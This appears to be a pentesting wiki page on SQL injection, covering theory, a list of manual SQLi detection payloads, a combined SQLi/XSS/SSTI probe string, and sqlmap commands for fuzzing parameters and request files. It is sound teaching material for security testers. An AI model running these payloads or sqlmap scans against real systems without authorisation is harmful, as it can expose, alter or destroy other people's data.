SQL injection

Theory
Many web applications use one or multiple databases to manage data. In order to dynamically edit the database while users browse the website, some SQL queries can rely on input vectors. When input parameters used in those queries are insufficiently validated or sanitized, these web apps can be vulnerable to SQL injections.
SQL injection attacks can allow attackers to read, update, insert or delete database data by injecting a piece of SQL query through the input vector, hence affecting the intended execution of the original query. In some cases, these attacks can also lead to File Download, File Upload or even Remote Code Execution.
Practice
Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for database operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.
Vulnerable input recon
Using special SQL characters (', ", #, ;, ), *,%) in an input could lead to SQL errors sometimes echoed back to the users for debugging. This would indicate an entry point not sanitized enough and thus potentially vulnerable to SQL injection.
Manuel testing
With some.website/?parameter=value some basic useful payload to detect vulnerable inputs are:
parameter=1
parameter=1'
parameter=1"
parameter=[1]
parameter[]=1
parameter=1`
parameter=1\
parameter=1/**/
parameter=1/*!111'*/
parameter=1' or '1'='1
parameter=1 or 1=1
parameter=' or ''='
parameter=' OR 1 -- -
parameter=1' or 1=1 --
parameter=1' or 1=1 -- -
parameter=1' or 1=1 /*
parameter='='
GET parameters are not the only ones that could be vulnerable to SQLi. Testers should thoroughly test all user inputs (parameters, user-agents, cookies...)
The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection).
'"<svg/onload=prompt(5);>{{7*7}}
Automated tests
Tools like SQLmap (Python) or SQLninja (Perl) can also be used to fuzz input vectors, find vulnerable entry points and automatically exploit them.
Just like any fuzzing tool, these scans need to be slowed down when testing production instances as it could lead to an unintended denial of service. In addition to that, testers need to use those tools with the greatest care since creating issues with production instances databases (like overwriting or deleting data) could have a serious fallout.
sqlmap --user-agent "PENTEST" --url $URL -p target_parameter --all
It is also possible to load request files and let SQLmap do the heavy work of fuzzing every parameter and input vector.
sqlmap -r $REQUEST_FILE --level 2 -v 2 --all
The request file should look like a standard HTTP request (line, headers, empty line, optional data). It can be obtained by many ways like inspecting network operations in a browser, intercepting requests with a proxy (like Burp Suite), and so on.
POST /login.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,fr;q=0.5,fr-FR;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Cookie: JSESSIONID=F168EA13C46D14AA134E13D4;
Connection: keep-alive
Upgrade-Insecure-Requests: 1
​
username=testusername&password=testpassword
References
MySQL Injection Cheat Sheet
ASafety
SQL Injection | OWASP Foundation
What is SQL Injection? Tutorial & Examples | Web Security Academy
WebSecAcademy
SQL Injection | pentestmonkey
SQL injection cheatsheets (MSSQL, MySQL, Oracle SQL, Postgres SQL, ...)
PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings
GitHub

🛠️ File inclusion

XSS (Cross-Site Scripting)

Last modified 1yr ago

Copy link

Outline

Theory

Practice

Vulnerable input recon

Manuel testing

Automated tests

References